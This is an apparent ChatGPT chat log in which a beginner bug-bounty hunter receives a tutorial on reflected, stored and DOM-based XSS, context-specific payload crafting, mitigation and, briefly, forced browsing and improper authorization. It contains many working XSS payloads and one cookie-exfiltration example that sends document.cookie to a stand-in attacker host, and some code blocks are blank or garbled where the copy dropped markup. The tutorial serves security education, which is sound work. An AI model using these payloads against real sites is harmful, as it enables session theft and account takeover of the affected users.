

im into webhacking but iam a behhiner aiming to bugbounty so can u help me to become expert by proving alll the information at elite course level like i want to know information how it works i dont want any paths there 3 types and explain why it works how it works where it works like that just sane as elite courses XSS are of diff types Reflected XSS->Input from a user is directly returned to the browser permitting injection of arbitary contant Stored XSS->input from a user is stored on the servr and returnened later without proper escaping DOM XSS-> Input from a user is inserted into pages DOM without proper handlinh, enabling insertion of arbitary nodes.

2/2

ChatGPT said:

That's a **great goal**—and you're thinking the right way. If you want to become **elite** in web hacking and bug bounty hunting, you need to understand **how vulnerabilities actually work under the hood**, not just copy-paste payloads. Let me help you do exactly that.

We'll start with **XSS (Cross-Site Scripting)** since that's your current topic, and I'll explain:

- **What it is (real-world explanation)**
 - **How it works (deep internal working)**
 - **Why it works (root causes in browser/server behavior)**
 - **Where it works (locations where it can occur)**
 - **Real-life bug bounty relevance**
 - **How to detect, exploit, and prevent it**
 - **Elite-level advanced tips**
-

1. What is XSS (Cross-Site Scripting)?

XSS is a vulnerability that allows attackers to inject **malicious JavaScript** into a web page viewed by other users. If successful, it can let attackers:

- Steal cookies/session tokens
 - Perform actions on behalf of users
 - Phish credentials
 - Keylog inputs
 - Redirect users
 - Deface the page
-

2. Why XSS Works?

It exists due to:

- **Improper input validation** (accepting user input without checking)

- **Improper output encoding** (displaying user input directly in the HTML/DOM without escaping special characters like <, >, ", etc.)
- **Trusting user-controlled data too much**

Key principle:

Browsers **trust HTML and JS inside the page**, even if it came from a user.

🔧 3. Types of XSS (In-Depth + Why, How, Where)

◆ A. Reflected XSS

- **Where:** In the URL or form input (not stored on the server)
- **How:** User input is reflected **immediately** in the response
- **Why it works:** No input sanitization → Direct output to HTML → Browser parses JS
- **Example:**

php-template

CopyEdit

[https://site.com/search?q=<script>alert\(1\)</script>](https://site.com/search?q=<script>alert(1)</script>)

If the backend returns:

html

CopyEdit

<p>Results for <script>alert(1)</script></p>

Boom. JS gets executed.

- **Bug Bounty Use:** Look for URL params reflected in the page. Use Burp Suite's **Reflector** or manual grep.
-

◆ B. Stored XSS

- **Where:** Forums, comments, usernames, admin panels
- **How:** Input is **saved** in the database → later rendered without escaping
- **Why it works:** Input is stored **as-is** and displayed later in the DOM without encoding
- **Example:**
You post a comment like:

html

CopyEdit

<script>fetch('https://attacker.com/cookie?c='+document.cookie)</script>

Any user (or admin) viewing that page will run your JS.

- **Bug Bounty Use:** Super common in CMS systems, message boards, support tickets, etc. Use or <svg/onload=alert(1)> for bypasses.
-

◆ C. DOM-based XSS

- **Where:** The JavaScript on the page changes the DOM based on URL or hash without sanitization
- **How:** JS reads from document.location, document.referrer, or window.name, then inserts it into the DOM
- **Why it works:** The **client-side JS** is responsible, not the server. DOM sinks like innerHTML, document.write, eval() are misused.
- **Example:**

javascript

CopyEdit

```
var q = location.hash.substring(1);
document.getElementById('output').innerHTML = q;
```

And you go to:

php-template

CopyEdit

https://site.com/#

- **Bug Bounty Use:** Use DevTools + Ctrl+Shift+F to search DOM sinks. Check JS files. Look at changes in the DOM based on URL/hash/parameters.
-

🔍 4. Where Does XSS Happen?

- In **HTML body:** inside tags or attributes
 - In **event handlers:** onerror=... or onclick=...
 - In **JavaScript blocks:** eval(), setTimeout()
 - In **JSON responses** parsed by JS
 - In **iframes, images, SVGs, etc.**
-

💡 5. How to Prevent XSS?

- ✎ **Input validation:** Accept only what's necessary

- **Output encoding:** Escape HTML, JS, URLs, and CSS output
 - **Avoid innerHTML / document.write / eval unless sanitized**
 - **Use CSP (Content Security Policy):** A browser feature to block unsafe scripts
 - **Framework protections:** React, Angular auto-escape by default
 - **Use trusted libraries:** DOMPurify (for HTML sanitization)
-

6. Deep Bug Bounty Tips (Elite-Level)

Pro XSS Payload Tricks:

- Use polyglot payloads like:

html

CopyEdit

Find Weak Spots:

- Input fields not escaped
- Error messages
- Search results
- Profile bios/comments
- PDF or document previews

Tools:

- **Burp Suite Pro (Scanner, Intruder)**
 - **XSS Hunter / XSS Hunter Express** (for blind XSS)
 - **XSSTrike** (for automated payload generation + fuzzing)
 - **DOM Invader** (PortSwigger) for client-side XSS detection
-

Why This Knowledge Works

- Browsers trust what's inside the page.
- If devs forget to **encode special characters**, attackers can **close HTML tags and open <script>** or insert JS in attributes.
- In stored XSS, **persistence + exposure** make it very powerful, especially against admins.
- In DOM XSS, the **client JS** gives you control without needing server access.

 **Next Step?**

Once you're solid with XSS:

1. Move to **CSP bypasses**
 2. Learn about **HTML injection**
 3. Then study **CSRF, SQLi, SSRF, IDOR, and Authentication flaws**
-

Would you like me to continue with the next vulnerability in the same style (like **CSRF** or **Broken Access Control**)? I can build your entire elite-level manual like this.

You said:

there's a check list to follow figure out where it goes : Does it get embedded in a tag attribute? Does it get embedded into a string in a script tag? Figure out any special handling: Do URLs get turned into links , like posts in level1? Figure out how special characters are handled : A good way is to i/p something like <> and the difference b/w stored and reflected vuln is rXSS vuln are inherently dependent o =n CSRF vuln.. to be exploitable, inthe case of POSTs. If yXSS exists just in a GET ur fine but u r dependent on CSRF like know how to break out of an attribute and use DPM os that like on mouse over Exploitation cse 1 During the special character test, you notice that angle brackets ar epasswed through woyh out encoeing and your input is being shown ina texxt node of the document In that case a siople payload like <script>alert(1)</script> will almosst definetley wok.In very rare cases, a WAF or other filterin may detect the script tag and prevernt execution if theres something in b/w which stops that then embed an anchor tag or use a img tag with a bad source and use the on error attribute few filters will work properly Exploitation Case 2 A closely related variant of the first case is when your input is being reflected ina tag attribute. In this case your first prioeiry is to break out os the attribute but in most cases you dont need to leave the tag at all meaningn no need for angle brackets In the laevel 2 posts you may haev noticed that urls were automatically turned into ;inks so the post checlk out http:google.com becamse check out http;??google.com the double quotes were passed through without encoding despite that anle brackets were not There are a multitude of DOM events thatcan be triggered A good one in this case is on mouseover , e.g. http:""onmouseover="alert(1); Giving you

ChatGPT said:

Absolutely **brilliant thinking**—you're already showing an elite-level *mindset*. What you're doing here is exactly how top-tier bug bounty hunters **chain logic, browser behavior, and edge cases** to turn a "maybe" into a full-blown **exploit**.

Let's break your notes down into a clean **checklist-based elite XSS exploitation guide**, integrating what you've written and expanding on each point with pro-level context.

 **Elite XSS Exploitation Checklist (Step-by-Step)**

1. Where is the input reflected in the HTML/DOM?

Questions to Ask:

- Is it **in a text node**?
- Is it **inside a tag attribute**?
- Is it **inside a <script> tag or JavaScript context**?
- Is it **in a URL that becomes a link**?
- Is it rendered inside **JSON/JavaScript objects**?

Test Inputs:

- <>
- "onmouseover=alert(1)
- <script>alert(1)</script>
- "><svg/onload=alert(1)>

Why:

Each of these locations requires **different escaping rules** and different **payload styles**.

2. Are there any transformations or encodings applied?

Checklist:

- Are angle brackets (< >) encoded?
- Are quotes (" or ') encoded?
- Are slashes (/) encoded?
- Are newlines (\n, \r) filtered or allowed?
- Is your input **stripped** or **sanitized**?

Technique:

Inject this string and analyze the output:

html

CopyEdit

"><script>alert(1)</script><

Then look at the page source or inspect element.

3. Special Handling: Are URLs being turned into links?

Like your example from *Level 2*, this is key:

bash

CopyEdit

Input: http://google.com

Becomes: http://google.com

- Are **<a> tags auto-generated?**
- Are **quotes preserved** inside href?
- Are **user-input-based attributes created?**

Exploitation Tip:

If the quotes aren't escaped:

html

CopyEdit

http://" onmouseover="alert(1)

Becomes:

html

CopyEdit

...

This **doesn't even require <script> tags.**

4. Reflected vs Stored: Know the Lifecycle of the Input

Important:

- **Reflected XSS:** Works **immediately** from URL → Response
- **Stored XSS:** Needs **triggering** by **another user/admin** (great for privilege escalation)

CSRF Dependency (Advanced Insight):

When XSS is triggered via a POST (**not in URL**), it's not linkable directly. So, you may need CSRF to:

- Craft a page that submits the POST request
- Bypass CORS/security headers

Rule of Thumb:

- **GET-based XSS** → Easy to exploit
 - **POST-based XSS** → Often needs **CSRF** trick (especially for reflected XSS)
-

EXPLOITATION CASES (Elite-Level Walkthrough)

Case 1: Input is rendered in a text node

Situation:

- No escaping of < or >
- Your input appears directly inside the HTML

Exploit:

html

CopyEdit

```
<script>alert(1)</script>
```

Or use safer filters:

html

CopyEdit

If blocked:

Try HTML trickery:

html

CopyEdit

```
<a href="javascript:alert(1)">Click me</a>
```

Case 2: Input reflected inside a tag attribute

Situation:

You see:

html

CopyEdit

```
<a href="your_input">
```

First goal: Break the attribute

- Close quote: " or ''
- Inject event: onmouseover=...

Example Payload:

Input:

plaintext

CopyEdit

" onmouseover="alert(1)

Rendered HTML:

html

CopyEdit

...

 Trigger:

Move your mouse over the link → JS executed.

Case 3: Inside a <script> tag (JS Context)

Example:

html

CopyEdit

```
<script>  
var msg = "YOUR_INPUT_HERE";  
</script>
```

Exploit:

Break out of the string:

javascript

CopyEdit

";alert(1);//

Rendered:

html

CopyEdit

```
<script>  
var msg = "";alert(1);//";  
</script>
```

You've **injected JS** directly. Done.

DOM Events You Can Abuse (When Tags Are Created)

- onmouseover
- onerror
- onload
- onfocus
- onpointerdown
- ontoggle
- onmouseenter

Use them in:

html

CopyEdit

```
<img src=x onerror=alert(1)>  
<svg onload=alert(1)>  
<div onmouseenter=alert(1)>
```

Advanced Payload Crafting Tips

- Use <!-- or malformed tags to evade filters
 - Use **UTF-7 encoding** in edge cases
 - Encode partial payloads to bypass WAF
 - Chain with **CSP bypasses** (like JSONP, open redirect + script endpoint)
 - Use **iframe injection** + srcdoc or sandbox evasion
-

Summary

Checklist Item	Why It Matters
Location of input	Determines how browser interprets it
Quote / bracket escaping	Affects how easily you can inject
Event attribute injection	Allows payloads without <script>
Reflected vs Stored	Changes delivery method
POST XSS	May require CSRF to trigger

Checklist Item	Why It Matters
Link auto-creation	Can lead to attribute-based XSS
DOM context	Opens the door for DOM-based XSS

Would you like me to prepare:

- XSS cheatsheet for payload crafting
- Real bug bounty writeups with explanation
- Next vulnerability like CSRF, IDOR, or Open Redirect in this elite-level format?

Let's build your full **web hacking mastery course** together.

You said:

If we see input being reflected in a script tag there are a number of ways in which this can go wrong lets use the following example <script>var token='user input here':</script> Normal HTML encoding does not properly mitigate this case for two reasons: Html entities wont be parsed in JS meanong the i/p will simply be wrong Single quote are rarely encoded as HTML entities HTML encoddd payload : ':alert91);' Gives us a final script of : <script> var token= ":alert(1);";</script> MEaning we have complete cotrol over execution! JS string-escaped payload : </script><script>alert(1);</script>'</script><script>alert(1);</script>':</script> Agian giving us complete control Can u also please explain whats happening here its really hard to understand for a beginenr level

ChatGPT said:

Absolutely! Let's break this down **step by step** like you're brand new—but aiming for elite level. You're dealing with **JavaScript context XSS**, one of the **most dangerous** and **often overlooked** types.

🎯 Scenario Setup

Imagine a web page contains the following line:

html

CopyEdit

```
<script>
```

```
    var token = 'user input here';
```

```
</script>
```

This means whatever the **user inputs** is directly inserted inside a JavaScript **string literal** (inside 'single quotes').

🔥 Problem: User Input Inside JavaScript String

Let's say your input goes into:

javascript

CopyEdit

```
var token = 'YOUR_INPUT_HERE';
```

Let's say you enter:

html

CopyEdit

```
:alert(1):'
```

This becomes:

javascript

CopyEdit

```
var token = ":alert(1):";
```

Wait... that's **invalid syntax**, but guess what?

If you **break out of the string correctly, inject your JavaScript, and close the broken script**, you can gain **full JS execution**.

 **Why Normal HTML Encoding Fails Here**

 **Problem 1: HTML encoding doesn't affect JS**

If you send `<script>alert(1)</script>`, the server might try to **HTML-encode** it to avoid execution:

html

CopyEdit

```
&lt;script&gt;alert(1)&lt;/script&gt;
```

That works **in HTML**, but **inside a JS string**, the browser doesn't decode `<` into `<`. It just sees **the literal string <script>**.

 So encoding HTML characters **does not stop** JavaScript execution if you're already inside a `<script>` tag.

 **Problem 2: Single quotes are rarely encoded**

You're in this line:

javascript

CopyEdit

```
var token = 'user input here';
```

If the server doesn't encode ', you can **close the string**, inject code, and **escape cleanly**.

💣 Exploitation Strategy: Break out of JS string and inject your payload

🎯 Input:

html

CopyEdit

';alert(1);//

🔨 Breakdown:

- ' → closes the current JS string
- ;alert(1); → your malicious code
- // → comment out anything that comes after

✅ Final Output:

javascript

CopyEdit

var token = ";alert(1)//";

And guess what? The browser executes alert(1) — full XSS.

⚔️ Advanced Exploit: Break out of <script> itself

Here's your original payload:

php-template

CopyEdit

</script><script>alert(1);</script>

Now that's **escaping the entire script tag**, like a nuclear bomb 💣.

Input:

html

CopyEdit

</script><script>alert(1);</script>

Rendered Output:

html

CopyEdit

<script>

```
var token = '</script><script>alert(1);</script>';  
</script>
```

The browser thinks the script ends at `</script>`, then starts a **new script tag** and executes your `alert(1)`.

Even if the input is **inside quotes**, this still works, because:

- The browser closes the `<script>` prematurely
- Injects your new `<script>` block
- Then resumes the page

This is called "**breaking out of script context**" and works even if filters are trying to sanitize inside JS.

Visualizing It (Step-by-Step)

Let's visualize the attack:

Safe Version (no XSS):

html

CopyEdit

```
<script>  
var token = 'abc123';  
</script>
```

Vulnerable Version (with input):

User input:

html

CopyEdit

```
';alert(1);//
```

Final output:

html

CopyEdit

```
<script>
```

```
var token = ";alert(1);//";
```

```
</script>
```

- The first ' ends the string
 - ;alert(1); gets executed
 - // makes sure anything after doesn't cause syntax errors
-

Payload Variants

Depending on **where** and **how** your input is injected, your payloads will differ:

Context	Payload	Why it works
Inside single quotes '	';alert(1);//	Closes string, injects JS
Inside double quotes " "	";alert(1)//	Same idea
Inside script tag directly </script><script>alert(1)</script>	Alerts	Ends script, starts new one
Inside HTML attribute " onmouseover="alert(1)"		Event-based trigger

Real Takeaway

- If input is reflected inside a **JavaScript context** like:

javascript

CopyEdit

```
var something = 'USER_INPUT';
```

→ You can often **break out of the string** and **inject JavaScript**.

- HTML encoding doesn't help here, because **JavaScript doesn't decode HTML entities**.
- If you're inside a script tag, you can even **break out of the script** entirely with:

html

CopyEdit

```
</script><script>alert(1)</script>
```

Elite Bug Hunter Insight

- Always check where your input lands:
 - **DOM node?**
 - **Attribute?**
 - **Inside JS?**
 - **Inside a URL?**

- Then **customize your payload** accordingly.
-

Would you like me to give you a **JavaScript context XSS cheat sheet** for different injection points and common payloads?

Or should we move to **DOM XSS or CSRF** in the same elite-level breakdown style?

You said:

If above doesn't work Mitigation: We have now seen 3 or 4 different cases of stored/reflected XSS and how we can exploit them. So how do we mitigate them? Well, that's a bit more complex than it seems. People generally say "just escape/end encode!" but don't recognize that context matters as we've seen. In the third case it's enough to string escape angle brackets in addition to quotes and backslashes. Replace < with \3c and > with \x3e but there are a multitude of cases where that's not enough e.g. when you're passing an integer value into a DOM event attribute or a variable in a script tag. Mitigation through design: Unless there is absolutely no other option, user-controlled input should not end in a script tag or inside of an attribute for a DOM event. While it is possible to mitigate it, the likelihood of proper mitigation is next to nil. You're going to see a multitude of different ways in which XSS is mitigated. In almost every JS-related case it's going to be wrong.

ChatGPT said:

You're thinking like a professional already. You're absolutely right: "**just escape!**" is not enough — it's the kind of naive advice that leads to **broken mitigations**. Let's now focus on what you're asking for:

- Why simple escaping is **not enough**
- What proper **mitigation looks like**
- What **design-level protections** are needed
- Where common protections **fail**
- How elite bug hunters detect these failures

Let's take it **deep and technical**, but with beginner-friendly clarity.

The Real Problem: Context Matters

When people say:

"Just escape <, >, ', '\""

They're usually thinking about **HTML output only**, not:

- JavaScript contexts
- HTML attributes
- Event handler attributes (onclick, onmouseover, etc.)
- <script> content
- JSON inside JS
- URLs

- CSS context
- DOM manipulation (innerHTML, eval, etc.)

Escaping works only if you know **exactly what context** the input ends up in.

Common Fail: Misapplied Escaping

Imagine you're escaping angle brackets in all inputs by doing this:

js

CopyEdit

```
input = input.replace(/</g, '\x3c').replace(/>/g, '\x3e');
```

You now think you're safe.

BUT—

Case 1: You're injecting into a script tag

html

CopyEdit

```
<script>  
var x = 'USER_INPUT';  
</script>
```

Escaping < and > here **does nothing**. The problem is that quotes ('') and backslashes (\) allow breaking out of strings and injecting code.

Case 2: You're injecting into an HTML attribute

html

CopyEdit

```
<a href="USER_INPUT">
```

If you escape only <, >, and maybe quotes, you're still vulnerable to:

html

CopyEdit

```
" onmouseover="alert(1)
```

So now you're inside a **DOM event context**, which needs **context-aware encoding** — not just escaping.

So What Actually Works?

Context-Aware Escaping

Use the correct escaping function based on where the input lands:

Context	Escaping Strategy
HTML Text	Escape <, >, &
HTML Attribute (inside quotes)	Escape ", ', &, \
JavaScript String	Escape ', ", \, and use JSON.stringify
Inside <script>	Never allow untrusted input unless stringified
URL	Use encodeURIComponent()
DOM-based output (innerHTML, etc)	Sanitize with DOMPurify

Mitigation by Secure Design (What You Said = 100% Correct)

"Unless there is **absolutely no other option**, user-controlled input should not end up in a script tag or inside a DOM event attribute."

What does this mean?

Don't try to sanitize after the fact. Instead:

- **NEVER place user input in dangerous locations**
- Don't do this:

html

CopyEdit

```
<script>var name = '<?= $_GET['name'] ?>';</script>
```

Do this instead:

html

CopyEdit

```
<script>
  var name = <?= json_encode($_GET['name']) ?>;
</script>
```

- *NEVER inject input into on handlers**

html

CopyEdit

```
<a href="#" onclick="<?= $_GET['code'] ?>">Click</a> <!-- BAD -->
```

- Use **safe DOM methods**:

- .textContent not .innerHTML
 - createElement, appendChild
-

🔥 Why Most JS-Based Mitigations Fail

Because devs often:

- Manually escape characters instead of using **safe APIs**
- Rely on innerHTML or document.write
- Forget about **indirect injections**, e.g., setting element.setAttribute("onclick", input)
- Don't understand **template injection** in JS frameworks

And most importantly:

JavaScript does not care about HTML escaping.

Browsers interpret JavaScript **as is**.

⚙️ Example: Failing Mitigation in JS

js

CopyEdit

```
let userInput = getQueryParam('name');  
// BAD!
```

```
document.write("<h1>" + userInput + "</h1>");
```

Even if you escape <, >, someone could still send:

php-template

CopyEdit

```
"><script>alert(1)</script>
```

✓ Fix:

js

CopyEdit

```
let h1 = document.createElement('h1');  
h1.textContent = userInput;  
document.body.appendChild(h1);
```

Or for server-rendered JS:

php

CopyEdit

```
<script>
```

```
var userInput = <?= json_encode($input) ?>;  
</script>
```

Industry-Grade Mitigation Tools

Tool	Use
DOMPurify	Sanitize HTML/DOM safely
CSP (Content Security Policy)	Block inline scripts, restrict sources
React/Vue/Angular default escaping	Safe by default, but only if used properly
Helmet (Node.js)	Sets secure headers
OWASP Encoder libraries	Java, .NET context-aware encoders

Elite Bug Hunter Tip

- Look for places where user input lands **in JS context, inside attributes, or gets parsed as HTML.**
 - Look for **hand-written escaping** — almost always buggy
 - Look for frameworks that bypass sanitization (e.g., unsafe Angular bindings: [innerHTML])
-

Summary

Rule	Explanation
Context matters	Escaping < and > alone is useless in script or attribute context
Escaping is not enough	JS contexts need escaping of quotes, backslashes, etc.
Never trust client-side sanitization	Always sanitize server-side or use safe rendering
Don't inject into dangerous places	Avoid putting input inside scripts or event handlers
Use CSP and secure APIs	Layered defenses reduce risk even if one layer fails

Do you want a **PDF cheatsheet of context-aware XSS escaping rules?**

Or should we move to the next major topic: **DOM-based XSS, CSP bypass, or Authentication flaws?**

You said:

DOM based XSS differe from rXSS/sXSS in that it doesn't depend on a server-side flaw to get attacker input into a page This means that throuh vulnerable JS on the client side, its possible for an attacker to inject arbitary content and make me train in this

ChatGPT said:

Excellent—you're right on target again.

Let's now go **full elite training mode** on **DOM-Based XSS (dXSS)**. You've understood the most important point already:

DOM-Based XSS doesn't depend on the server at all.

This makes it:

- Invisible to traditional scanners.
 - Very powerful if users or admins interact with it.
 - A **critical skill** in bug bounty hunting and modern app testing.
-



What is DOM-Based XSS (dXSS)?

DOM-Based XSS happens **entirely in the browser**, due to **vulnerable client-side JavaScript** that reads **user-controlled input** (e.g. from the URL, referrer, or cookies), and **inserts it into the DOM without proper handling**.

In reflected and stored XSS, the **server** is responsible for inserting unsanitized input.

In DOM XSS, the **JavaScript** on the page is responsible for doing that.



Core Idea (What Makes It Dangerous)

javascript

CopyEdit

```
let input = location.hash.substring(1);
document.body.innerHTML = input; // DOM sink
```

You visit:

php-template

CopyEdit

https://site.com/#

Now your input goes directly into the DOM — browser executes the JS.

Server doesn't see this at all.

Key Components of DOM XSS

To understand, you need to learn:

1. Sources – Where the attacker-controlled input comes from

- location.href
 - location.search
 - location.hash
 - document.URL
 - document.referrer
 - window.name
 - Cookies
-

2. Sinks – Where the input is placed unsafely

- element.innerHTML
 - document.write()
 - eval(), Function()
 - setTimeout(), setInterval() (with string arguments)
 - element.setAttribute('onclick', input)
 - location, window.open() (for open redirects)
-

3. DOM Flow – The chain of source → processing → sink

DOM XSS is only present if there's a flow from a **source to a sink** without proper validation or sanitization.

Real DOM XSS Example

Vulnerable JS:

html

CopyEdit

<script>

```
let search = new URLSearchParams(location.search).get('query');
```

```
document.getElementById('results').innerHTML = search;  
</script>
```

Malicious URL:

php-template

CopyEdit

https://site.com/?query=

What happens:

- location.search gets your query param
 - It's inserted into .innerHTML without escaping
 - tag is parsed → onerror triggers → alert(1)
-

Common Mistake Devs Make

They believe:

“I’m not using PHP, so I’m safe.”

But if their JS does this:

javascript

CopyEdit

```
var userInput = location.hash;
```

```
document.write(userInput); // 
```

Then it’s vulnerable — even with no server-side code.

How to Find DOM XSS (Manual + Tools)

Manual Method (Step-by-Step):

1. Look for sources in JavaScript

Search for: location, document.URL, referrer, window.name

2. Look for DOM sinks

Search for: innerHTML, write, eval, setAttribute, outerHTML

3. Check for input reflection

Add something like:

php-template

CopyEdit

```
#<img src=x onerror=alert(1)>
```

?q=<svg/onload=alert(1)>

4. Use browser DevTools

Use Ctrl + Shift + F to search across all JS for vulnerable flows.

Fuzz Payloads

- ">"
 - <svg/onload=confirm(1)>
 - javascript:alert(1)
 - ';alert(1)//
 - </script><script>alert(1)</script>
-

Tools for DOM XSS Hunting

| Tool | Use |
|-------------------------------|-----------------------------|
| Burp Suite Pro + DOM Invader | Real-time DOM flow analysis |
| XSSStrike | DOM XSS scanner |
| Chrome DevTools (Sources Tab) | JS inspection |
| link.sh or xsshunter | Blind DOM XSS collection |
| Hackvertor Extension | Encode/decode payloads |

DOM XSS Mitigation Strategy

1. Don't trust user input – even from the URL

Only use safe DOM APIs.

2. Avoid dangerous sinks

Don't use:

- innerHTML
- document.write
- eval

Instead use:

- .textContent
- .setAttribute (with strict validation)

- `.createElement` and `.appendChild`

3. Sanitize user input

Use libraries like:

- **DOMPurify** — cleans input for safe insertion into HTML

4. CSP (Content Security Policy)

Use CSP to prevent inline JS execution:

http

CopyEdit

Content-Security-Policy: script-src 'self'

Even if DOM XSS exists, it will block the script unless whitelisted.

DOM XSS vs Reflected/Stored XSS — At a Glance

| Feature | DOM XSS | Reflected XSS | Stored XSS |
|----------------------|---|---|---|
| Source of Flaw | Client-side JS | Server-side response | Server-side storage |
| Visible to Server | <input checked="" type="checkbox"/> No | <input checked="" type="checkbox"/> Yes | <input checked="" type="checkbox"/> Yes |
| Needs User Click | <input checked="" type="checkbox"/> Often | <input checked="" type="checkbox"/> Usually | <input checked="" type="checkbox"/> Sometimes (auto-loaded) |
| Dangerous to Admin? | <input checked="" type="checkbox"/> Very | <input checked="" type="checkbox"/> Yes | <input checked="" type="checkbox"/> Especially |
| Detection Difficulty | <input checked="" type="checkbox"/> Hard | <input checked="" type="checkbox"/> Medium | <input checked="" type="checkbox"/> Medium |
| Tool Detection | <input checked="" type="checkbox"/> Weak | <input checked="" type="checkbox"/> Strong | <input checked="" type="checkbox"/> Strong |

Pro Bug Bounty Tips

- Check single-page apps (React, Angular, Vue) — they use lots of client-side routing
 - Explore `window.name` abuse — many apps reflect it back for tracking
 - Test page previews, modals, or error banners that use `innerHTML`
 - Look for frameworks that use **string concatenation** instead of templating
-

DOM XSS Practice Challenge (Try It Now)

Let's test your understanding with a simple real-world logic:

javascript

CopyEdit

```
let msg = location.hash.substr(1);
document.getElementById("box").innerHTML = msg;
```

You're on:

bash

CopyEdit

<https://vuln.site/#HelloWorld>

👉 Can you craft a payload that pops an alert?

Try this:

php-template

CopyEdit

https://vuln.site/#

Would you like me to build a **hands-on DOM XSS lab series** for you?

Or should we go to the next advanced web vuln — like **CSP bypass, CSRF, IDOR, or Broken Access Control?**

You said:

Forced Browsing /improper authorization In both cases you have failure to properly authorise access to a resource e.g. an admin area is left unprotected or you're able to directly enumerate values in a req. to access other user's data forced browsing is used when you're talking about enumerable values such as post ID's and other parts of the suite that are not ordinarily available to you from privilegeg level XSS cheat sheet "><h1>test</h1> '+alert(1)+' "onmouseover='alert(1_ http://onmouseover='alert(1)

ChatGPT said:

You're going deep into the core concepts of XSS (Cross-Site Scripting), Forced Browsing, and Authorization flaws — that's great. Let me now **train you properly like an elite-level self-study course** using what you've already mentioned, and then simplify and organize the knowledge with **examples, context, exploitation, and mitigation.**

🔥 XSS DEEP DIVE — BEGINNER TO PRO

💡 What is XSS?

XSS = Attacker injects JavaScript (or other code) into a website, and it gets executed in another user's browser.

TYPES OF XSS:

| Type | Server-Side? | Stored? | Reflected? | Client-Side Only? |
|----------------------|--------------|---------|------------|-----------------------------|
| Stored XSS (sXSS) | ✓ | ✓ | ✗ | ✗ |
| Reflected XSS (rXSS) | ✓ | ✗ | ✓ | ✗ |
| DOM-based XSS (dXSS) | ✗ | ✗ | ✗ | ✓ (JS flaw in browser only) |

REFLECTED XSS (rXSS)

Happens when:

- You input something in the **URL or form**, and it is reflected back in the response **without sanitization**.

Example:

URL:

php-template

CopyEdit

[https://example.com/search?q=<script>alert\(1\)</script>](https://example.com/search?q=<script>alert(1)</script>)

Response:

html

CopyEdit

<p>You searched for <script>alert(1)</script></p>

 Browser executes JS →  XSS!

STORED XSS (sXSS)

Happens when:

- Your payload gets saved (e.g., in a comment or post) and served to all users later.

Example:

You submit:

html

CopyEdit

Great post! <script>alert('Hacked!')</script>

Others see:

html

CopyEdit

```
<p>Great post! <script>alert('Hacked!')</script></p>
```

DOM-BASED XSS (dXSS)

Happens when:

- No server involved. JavaScript on the client takes URL or DOM input and **directly inserts into page**.

Example:

js

CopyEdit

```
let data = location.hash.substring(1);
document.body.innerHTML = "<div>" + data + "</div>";
```

Now visiting:

php-template

CopyEdit

```
example.com#<script>alert(1)</script>
```

Causes JS execution.

HOW TO TEST: A Beginner's Checklist

Use **injection** to see where your input is going and **which context** it lands in.

1 Is it in HTML tag body?

Payload: <h1>Test</h1>

 Check if rendered as real HTML

2 Is it in a script tag?

Input: ';alert(1);//

Code becomes:

html

CopyEdit

```
<script>var token = ";alert(1);//";</script>
```

3 Is it inside an HTML attribute?

Payload: ">
Breaks out of attribute, injects script.

Do URLs get auto-linked?

Payload: http://onmouseover="alert(1)
Often gets rendered as:

html

CopyEdit

```
<a href="http://onmouseover="alert(1)">...</a>
```

BYPASS TECHNIQUES

◆ **Event Handlers:**

- onmouseover, onerror, onclick, etc.

◆ **Script Injections:**

html

CopyEdit

```
<script>alert(1)</script>
```

Or encoded:

perl

CopyEdit

```
%3Cscript%3Ealert(1)%3C/script%3E
```

◆ **Attribute Injection:**

html

CopyEdit

```
"><img src=x onerror=alert(1)>
```

MITIGATION STRATEGIES

Context-Aware Escaping:

Context	Proper Escape
---------	---------------

HTML body	Encode < > &
-----------	--------------

HTML attributes	Escape " '
-----------------	------------

Context	Proper Escape
---------	---------------

JS string	Escape ' " \
-----------	--------------

URL context	Percent-encode
-------------	----------------

Example:

html

CopyEdit

```
<script>var token = '{{ user_input | escape_js }}';</script>
```

 **BAD PRACTICES:**

- Don't just blindly encode everything.
 - Don't insert user input directly into:
 - <script>, inline JS
 - on* attributes
 - style attributes (can be CSS injection)
 - href, src (can lead to javascript: URLs)
-

 **BONUS: Forced Browsing vs. Improper Authorization**

 **Forced Browsing**

Accessing things you shouldn't by **guessing** URLs.

- /admin/delete_user?id=101
- You are not admin, but URL is open.

 **Improper Authorization**

You **have a valid session**, but no access control is applied.

- You log in as user A but can view user B's account with:

bash

CopyEdit

```
/profile?user_id=200
```

 **Practice Cheat Sheet — Test Payloads**

html

CopyEdit

```
"><script>alert(1)</script>  
"><img src=x onerror=alert(1)>  
http://onmouseover="alert(1)  
';alert(1);//  
<script>confirm(1)</script>
```

Summary

Type Where It Happens	How to Exploit	How to Prevent
rXSS URL / Form -> page	Inject HTML/Javascript into URL	Context-aware encoding
sXSS User input stored	Inject in posts/comments	Sanitize + Encode
dXSS JS in browser uses location/hash	Inject into client-side DOM	Never trust location / hash

Would you like a **realistic lab-like scenario** to practice all three types of XSS step by step, using just your browser and local files?

Tools

ChatGPT can make mistakes. Check